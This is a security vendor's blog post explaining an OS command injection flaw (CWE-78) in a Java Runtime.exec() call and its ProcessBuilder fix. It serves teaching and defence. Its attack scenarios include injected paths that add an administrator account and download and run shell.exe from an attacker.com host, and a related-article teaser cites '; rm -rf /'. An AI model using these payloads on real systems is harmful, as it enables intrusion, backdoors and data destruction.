Back to Blog
critical SEVERITY8 min read

How command injection happens in Java Runtime.exec() and how to fix it

A critical OS command injection vulnerability (CWE-78) was discovered in `page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java` at line 81, where a single-string invocation of `Runtime.getRuntime().exec()` passed a concatenated command directly to the Windows shell, allowing an attacker who controls the `applicationFile` value to chain arbitrary OS commands. The fix replaces this dangerous pattern with a properly constructed `ProcessBuilder` that uses absolute executable

O
By Orbis AppSec
Published June 14, 2026Reviewed June 14, 2026

Answer Summary

This is an OS command injection vulnerability (CWE-78) in Java, found in `page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java` at line 81. The root cause is the single-string form of `Runtime.getRuntime().exec("cmd.exe start " + applicationFile)`, which passes the concatenated string to the Windows shell for interpretation, allowing an attacker who controls `applicationFile` to inject arbitrary shell commands. The fix replaces `Runtime.exec()` with a `ProcessBuilder` that uses absolute executable paths (`C:\Windows\System32\cmd.exe`, `/usr/bin/open`, `/usr/bin/xdg-open`) and passes each argument as a separate list element, preventing shell metacharacter interpretation entirely.

Vulnerability at a Glance

cweCWE-78
fixReplace with `ProcessBuilder` using absolute executable paths and discrete argument list elements
riskAttacker-controlled file path executes arbitrary OS commands on the host system
languageJava
root causeSingle-string `Runtime.getRuntime().exec()` passes concatenated input to the shell for interpretation
vulnerabilityOS Command Injection

How command injection happens in Java Runtime.exec() and how to fix it

Summary

A critical OS command injection vulnerability (CWE-78) was discovered in page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java at line 81, where a single-string invocation of Runtime.getRuntime().exec() passed a concatenated command directly to the Windows shell. An attacker who controls the applicationFile value could chain arbitrary OS commands. The fix replaces this dangerous pattern with a ProcessBuilder using absolute executable paths and discrete argument elements, eliminating shell interpretation entirely.


Introduction

The page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java file is responsible for launching a sample web application as part of a Page Object pattern demonstration. Its main() method attempts to open the application file using java.awt.Desktop and, when that isn't supported (notably on Windows), falls back to a shell command. That fallback — a single line at line 81 — introduced a critical OS command injection vulnerability:

Runtime.getRuntime().exec("cmd.exe start " + applicationFile);

This pattern is deceptively simple and looks harmless at first glance. But for any developer who has ever used Runtime.exec() in Java, it carries a subtle and dangerous trap: when you pass a single String to exec(), the JVM does not tokenize it for you safely. On Windows, it hands the entire string to cmd.exe for shell interpretation — and shell interpreters understand metacharacters like &, |, &&, and ||.

What makes this finding especially significant is that the same vulnerable pattern was independently reproduced in a sibling file, indicating a copy-paste propagation of the insecure code. Two separate files, two independently exploitable injection points, double the attack surface.


The Vulnerability Explained

What goes wrong with Runtime.exec(String)

Java's Runtime.exec(String command) overload splits the string on whitespace and passes it to the OS. On Windows, this means invoking cmd.exe — a full-featured shell interpreter. The critical distinction is between these two forms:

Vulnerable (single string — shell interprets everything):

// Line 81 — BEFORE the fix
Runtime.getRuntime().exec("cmd.exe start " + applicationFile);

Safe (tokenized array — no shell interpretation):

new ProcessBuilder("C:\\Windows\\System32\\cmd.exe", "/c", "start", applicationFile.getAbsolutePath());

In the vulnerable form, if applicationFile is a File object whose path is derived from external input (e.g., a configuration file, a URL parameter, or a CLI argument), an attacker can craft a path like:

C:\legitimate\app.html & net user hacker P@ssw0rd /add & net localgroup Administrators hacker /add

When this is concatenated into the command string and passed to cmd.exe, the shell sees three separate commands separated by & and executes all of them with the privileges of the Java process.

A concrete attack scenario

Imagine this application is deployed as part of a CI/CD pipeline or a testing harness where the applicationFile path is derived from a test configuration file that a developer (or a malicious pull request) can modify. An attacker submits a PR that changes the application path to:

target/app.html & curl https://attacker.com/shell.exe -o C:\Windows\Temp\shell.exe & C:\Windows\Temp\shell.exe

When the test harness runs App.main(), the shell executes all three commands: it opens the legitimate file, downloads a remote payload, and executes it — all in one line, all because of a single-string exec() call.

Why this appeared in two files

The vulnerability was flagged as V-001 in page-object/src/main/java/com/iluwatar/pageobject/App.java and as V-002 in page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java. The identical pattern in two separate subdirectories is a textbook example of copy-paste vulnerability propagation. When insecure code is duplicated without security review, the risk multiplies with each copy.


The Fix

Before and After

The fix at line 81 replaces the single-string Runtime.exec() call with a platform-aware ProcessBuilder that:

  1. Detects the operating system using System.getProperty("os.name")
  2. Uses absolute paths to the shell executable (preventing PATH hijacking)
  3. Passes each argument as a discrete list element (preventing shell metacharacter injection)

Before (vulnerable):

// java Desktop not supported - above unlikely to work for Windows so try instead...
Runtime.getRuntime().exec("cmd.exe start " + applicationFile);

After (fixed):

var os = System.getProperty("os.name").toLowerCase(Locale.ROOT);
ProcessBuilder pb;
if (os.contains("win")) {
  // Standard Windows location since Windows NT
  pb =
      new ProcessBuilder(
          "C:\\Windows\\System32\\cmd.exe",
          "/c",
          "start",
          applicationFile.getAbsolutePath());
} else if (os.contains("mac")) {
  // Standard macOS location for 'open' command
  pb = new ProcessBuilder("/usr/bin/open", applicationFile.getAbsolutePath());
} else {
  // Standard Linux desktop location for xdg-open
  pb = new ProcessBuilder("/usr/bin/xdg-open", applicationFile.getAbsolutePath());
}
pb.start();

Why each change matters

Change Security Benefit
ProcessBuilder with argument list instead of Runtime.exec(String) Arguments are passed directly to the OS without shell interpretation — metacharacters like &, \|, ; are treated as literal characters
Absolute path C:\Windows\System32\cmd.exe instead of cmd.exe Prevents PATH hijacking attacks where a malicious cmd.exe is placed earlier in the %PATH%
applicationFile.getAbsolutePath() as a separate argument The file path is a discrete argument, not part of the command string, so it cannot break out of its argument boundary
Locale.ROOT in .toLowerCase() Avoids locale-sensitive string comparison bugs (e.g., the Turkish locale where "I".toLowerCase() produces "ı", not "i")
Cross-platform OS detection Correct platform-specific launchers (/usr/bin/open on macOS, /usr/bin/xdg-open on Linux) with hardcoded absolute paths

The addition of import java.util.Locale is also notable — it's a small import that enables the locale-safe toLowerCase(Locale.ROOT) call, preventing a subtle but real class of internationalization bugs in security-sensitive string comparisons.


Prevention & Best Practices

1. Never use the single-string form of Runtime.exec() with external input

The Java documentation itself warns about this. Always prefer the array or List<String> form:

// UNSAFE — shell interprets the entire string
Runtime.getRuntime().exec("cmd.exe /c " + userInput);

// SAFE — OS receives discrete arguments, no shell interpretation
new ProcessBuilder("C:\\Windows\\System32\\cmd.exe", "/c", userInput).start();

2. Prefer ProcessBuilder over Runtime.exec()

ProcessBuilder is the modern Java API for spawning processes. It gives you explicit control over the argument list, working directory, environment variables, and I/O streams. Use it by default.

3. Use absolute paths for executables

Hardcoding /usr/bin/xdg-open instead of xdg-open prevents PATH injection, where an attacker places a malicious binary earlier in the search path. This is especially important in environments where the PATH variable might be influenced by user configuration.

4. Validate file paths before use

Even with ProcessBuilder, it's good practice to validate that applicationFile points to an expected location:

Path resolved = applicationFile.toPath().toRealPath();
Path allowedBase = Path.of("/expected/app/directory");
if (!resolved.startsWith(allowedBase)) {
    throw new SecurityException("File path outside allowed directory: " + resolved);
}

5. Apply the principle of least privilege

If the application doesn't need to launch arbitrary files, don't give it the capability. Run the JVM process with the minimum OS privileges required.

6. Use static analysis to catch this pattern early

  • SonarQube: Rule S5304 (and S2076) flags Runtime.exec() with concatenated strings
  • Semgrep: Rules for runtime-exec-injection in the Java ruleset
  • SpotBugs: COMMAND_INJECTION detector
  • Orbis AppSec: Automated AI-powered detection with automatic PR generation (as demonstrated here)

OWASP Reference

This vulnerability maps directly to OWASP A03:2021 – Injection and is described in detail in the OWASP OS Command Injection Defense Cheat Sheet.


Key Takeaways

  • Runtime.getRuntime().exec(String) with concatenated input is always dangerous in Java — the single-string form invokes shell interpretation on Windows, turning any user-controlled segment into a potential command injection vector.
  • Copy-paste propagation doubles your risk — the same vulnerable pattern appeared in two separate files (page-object/src/ and page-object/sample-application/src/), creating two independently exploitable injection points. Every copy of insecure code is a new vulnerability.
  • Absolute executable paths are a defense-in-depth measure — using C:\Windows\System32\cmd.exe instead of cmd.exe prevents PATH hijacking even if the process environment is compromised.
  • applicationFile.getAbsolutePath() as a discrete argument — passing the file path as a separate ProcessBuilder argument, not as part of the command string, is what actually prevents the injection; the shell never sees the path as something to interpret.
  • Locale.ROOT matters in security comparisons — the locale-safe lowercase conversion prevents subtle bugs in OS detection logic that could cause the wrong (potentially less secure) code branch to execute on certain international systems.

How Orbis AppSec Detected This

  • Source: The applicationFile variable passed into App.main(), which can be influenced by external configuration, test harness input, or CLI arguments.
  • Sink: Runtime.getRuntime().exec("cmd.exe start " + applicationFile) at page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java:81 — the single-string exec() call that passes the concatenated value to the Windows shell interpreter.
  • Missing control: No sanitization, no argument tokenization, no validation of applicationFile before it was concatenated into the shell command string.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced Runtime.exec(String) with a ProcessBuilder using absolute executable paths and discrete argument list elements, eliminating shell interpretation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The Runtime.getRuntime().exec("cmd.exe start " + applicationFile) pattern in App.java is a textbook example of how a well-intentioned fallback code path can introduce a critical security vulnerability. The fix is clean, cross-platform, and idiomatic Java — but the real lesson is that this pattern is easy to miss in code review and easy to copy into new files without realizing the risk.

For Java developers: treat Runtime.exec(String) the same way you'd treat eval() in JavaScript or string.Format in a SQL query — as a pattern that demands immediate scrutiny whenever external data is involved. Default to ProcessBuilder with a tokenized argument list, use absolute paths for executables, and let static analysis tools catch these patterns before they reach production.

Security is often about the small decisions — a single string concatenation, a missing import, a copied code snippet — that compound into critical vulnerabilities. The fix here is 20 lines replacing 1, and every one of those lines makes the application measurably safer.


References

Frequently Asked Questions

What is OS command injection in Java?

OS command injection in Java occurs when user-controlled input is concatenated into a shell command string — most commonly via the single-string form of `Runtime.exec()` or `ProcessBuilder` with `shell=true` — allowing an attacker to append shell metacharacters (`&`, `|`, `;`) and execute arbitrary commands on the host operating system.

How do you prevent command injection in Java?

Use `ProcessBuilder` with a discrete argument list (never a single concatenated string), specify absolute paths to executables, validate and sanitize any user-supplied input, and avoid passing user data to shell interpreters like `cmd.exe /c` or `/bin/sh -c`.

What CWE is OS command injection?

OS command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input validation enough to prevent command injection in Java?

Input validation alone is not sufficient. The primary defense is to avoid shell interpretation entirely by using `ProcessBuilder` with a tokenized argument array. Input validation is a useful secondary control but can be bypassed with creative encoding or unexpected metacharacters.

Can static analysis detect command injection in Java?

Yes. Static analysis tools like SonarQube (rule S5304), Semgrep, SpotBugs, and automated AI-powered scanners like Orbis AppSec can identify the dangerous single-string `Runtime.exec()` pattern and flag it as a command injection risk.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #3471

Related Articles

critical

How command injection happens in Go ffmpeg-go and how to fix it

A critical command injection vulnerability (CVE-2026-41179, CWE-78) was discovered in `drivers/local/util.go` of a Go media processing service, where user-controlled file paths were passed to `ffmpeg.Input()` without filtering shell metacharacters. Although a `sanitizeFilePath()` function existed to validate paths, it failed to reject characters like `;`, `|`, and backticks that could be weaponized if the underlying ffmpeg-go library constructs shell commands internally. The fix adds a targeted

critical

How command injection happens in Python os.popen() and how to fix it

A critical command injection vulnerability in `spk/itools/src/mounting.py` allowed arbitrary shell command execution through unsanitized iOS device names passed to `os.popen()` and `os.system()` calls. The fix replaced these dangerous functions with `subprocess.run()` using proper argument escaping, eliminating the shell injection attack vector.

critical

How command injection happens in Node.js subprocess and how to fix it

A critical command injection vulnerability in `tools/dev/src/index.ts` allowed attackers to execute arbitrary shell commands through unsanitized subprocess arguments. The fix was simple but essential: explicitly setting `shell: false` in the `spawn()` call to prevent shell metacharacter interpretation. This vulnerability demonstrates why subprocess handling requires explicit security controls in Node.js.

critical

How command injection happens in Python os.system() and how to fix it

A critical command injection vulnerability was discovered in `src/O4_Geotag.py` where file paths and coordinate values were concatenated directly into `os.system()` calls invoking `gdal_translate` and `gdalwarp`. Because `os.system()` passes its argument through a shell interpreter, any shell metacharacters in the file path variable `f` — sourced from file enumeration or user-supplied input — could be exploited to execute arbitrary commands. The fix replaces both shell invocations with direct ca

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in `script/llm_semantic_analyzer.py` at line 394, where user-controlled input (API keys and model parameters) was interpolated directly into shell commands passed to `subprocess.run` with `shell=True`. An attacker who could control these parameters could inject shell metacharacters like `; rm -rf /` or `$(whoami)` to execute arbitrary commands. The fix sanitizes all user input before it reaches shell execution.

critical

How command injection happens in Python subprocess and how to fix it

A command injection vulnerability in `skills/skill-comply/scripts/runner.py` allowed attackers who could influence skill definition files to execute arbitrary binaries on the host system via `subprocess.run()`. The fix introduces an explicit allowlist of permitted executables (`ALLOWED_SETUP_EXECUTABLES`) that gates every command before it reaches the subprocess call at line 110. This closes a significant attack surface in the skill-comply pipeline without breaking legitimate setup workflows.